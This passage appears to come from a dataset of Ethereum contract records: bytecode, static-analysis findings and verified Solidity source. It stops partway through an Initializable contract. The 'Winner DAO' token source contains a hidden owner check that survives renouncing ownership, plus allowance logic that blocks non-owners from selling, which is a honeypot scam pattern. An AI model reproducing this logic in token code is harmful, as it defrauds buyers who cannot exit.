525060200191505060405180910390fd5b82600c8190555081600d81905550611775828461299b90919063ffffffff16565b600e8190555080600f819055506005600f548161178e57fe5b04600e541061179c57600080fd5b505050565b6117aa33611be5565b61181c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b611824612a23565b565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6118b633610fab565b611928576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601660006101000a81548160ff02191690831515021790555061195781600354612f8590919063ffffffff16565b6017819055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61199033610fab565b611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611a6633610fab565b611ad8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000838311158290611ce8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cad578082015181840152602081019050611c92565b50505050905090810190601f168015611cda5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000601860009054906101000a900460ff1615611d2457611d1d848484612fcf565b90506123c5565b611d2c6131a2565b15611d6457603c601554014210158015611d4857506000600654145b15611d5a57611d55612a23565b611d63565b611d626123fb565b5b5b611d6c613279565b158015611dc65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611e20576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611e1757600080fd5b611e1f613286565b5b611ea9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef46123cc565b8015611f4e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fa45760055482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611fa357600080fd5b5b611fac6123cc565b80156120065750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561205357506014600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540142105b156122055742600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ee82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60006040518082815260200191505060405180910390a33073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506123c5565b42600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166122c1576122a5856132a8565b6122af57826122ba565b6122b985846132ff565b5b90506122c5565b8290505b61231781600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600080601454141580156123e4575043600a60145401105b80156123f65750426102586015540110155b905090565b6001601860006101000a81548160ff02191690831515021790555060006124566002612448600e5461243a600c5460175461358f90919063ffffffff16565b612f8590919063ffffffff16565b612f8590919063ffffffff16565b9050600061246f8260175461295190919063ffffffff16565b90506000600267ffffffffffffffff8111801561248b57600080fd5b506040519080825280602002602001820160405280156124ba5781602001602082028036833780820191505090505b50905030816000815181106124cb57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061253557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561263c578082015181840152602081019050612621565b505050509050019650505050505050600060405180830381600087803b15801561266557600080fd5b505af1158015612679573d6000803e3d6000fd5b505050506000612692824761295190919063ffffffff16565b905060006126c06126af6002600c54612f8590919063ffffffff16565b600e5461295190919063ffffffff16565b905060006126fe60026126f0846126e2600c548861358f90919063ffffffff16565b612f8590919063ffffffff16565b612f8590919063ffffffff16565b905060006127298361271b600d548761358f90919063ffffffff16565b612f8590919063ffffffff16565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612793573d6000803e3d6000fd5b50600088111561292c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561288d57600080fd5b505af11580156128a1573d6000803e3d6000fd5b50505050506040513d60608110156128b857600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001600654016006819055507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601860006101000a81548160ff021916908315150217905550565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c3b565b905092915050565b600080828401905083811015612a19576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6001601860006101000a81548160ff0219169083151502179055506000612a846002612a76600e54612a68600c54612a5a306111c3565b61358f90919063ffffffff16565b612f8590919063ffffffff16565b612f8590919063ffffffff16565b90506000612aa382612a95306111c3565b61295190919063ffffffff16565b90506000600267ffffffffffffffff81118015612abf57600080fd5b50604051908082528060200260200182016040528015612aee5781602001602082028036833780820191505090505b5090503081600081518110612aff57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612b6957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612c70578082015181840152602081019050612c55565b505050509050019650505050505050600060405180830381600087803b158015612c9957600080fd5b505af1158015612cad573d6000803e3d6000fd5b505050506000612cc6824761295190919063ffffffff16565b90506000612cf4612ce36002600c54612f8590919063ffffffff16565b600e5461295190919063ffffffff16565b90506000612d326002612d2484612d16600c548861358f90919063ffffffff16565b612f8590919063ffffffff16565b612f8590919063ffffffff16565b90506000612d5d83612d4f600d548761358f90919063ffffffff16565b612f8590919063ffffffff16565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612dc7573d6000803e3d6000fd5b506000881115612f6057601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015612ec157600080fd5b505af1158015612ed5573d6000803e3d6000fd5b50505050506040513d6060811015612eec57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001600654016006819055507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601860006101000a81548160ff021916908315150217905550565b6000612fc783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613615565b905092915050565b600061305a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ef82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561320f5750601860009054906101000a900460ff16155b80156132275750601660009054906101000a900460ff165b80156132745750601754600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6000806014541415905090565b61328e613279565b1561329857600080fd5b4360148190555042601581905550565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b60008061330a6123cc565b8015613317575060045483115b15613448576133316004548461295190919063ffffffff16565b905061338581600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613440818461295190919063ffffffff16565b915050613589565b613476600f5461346861345961120c565b8661358f90919063ffffffff16565b612f8590919063ffffffff16565b90506134ca81600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613585818461295190919063ffffffff16565b9150505b92915050565b6000808314156135a2576000905061360f565b60008284029050828482816135b357fe5b041461360a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136dc6021913960400191505060405180910390fd5b809150505b92915050565b600080831182906136c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561368657808201518184015260208101905061366b565b50505050905090810190601f1680156136b35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816136cd57fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220224626da55d1d9ed2965b6ad8ae37f179905e35e13027faa591176624a51617c64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,261
0x6c01209eba2e657dc96f70f3c74e270c7b7ab019
/** *Submitted for verification at Etherscan.io on 2021-12-14 */ /* _ ___ ____ ___ ____ | | / (_)___ ____ ___ _____ / __ \/ | / __ \ | | /| / / / __ \/ __ \/ _ \/ ___/ / / / / /| |/ / / / | |/ |/ / / / / / / / / __/ / / /_/ / ___ / /_/ / |__/|__/_/_/ /_/_/ /_/\___/_/ /_____/_/ |_\____/ https://t.me/WinnerDAO */ //* SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract WinnerDAO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10* 10**11* 10**18; string private _name = 'Winner DAO'; string private _symbol = 'WinDAO'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220003fb56a39aca91c88e0b82247df985295321f5cd0a7b8b052b3d45dbb09206364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,262
0x05a24752d15ec52b82b3955b8e27993717fc990f
// SPDX-License-Identifier: MIT pragma solidity ^0.6.8; pragma experimental ABIEncoderV2; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); 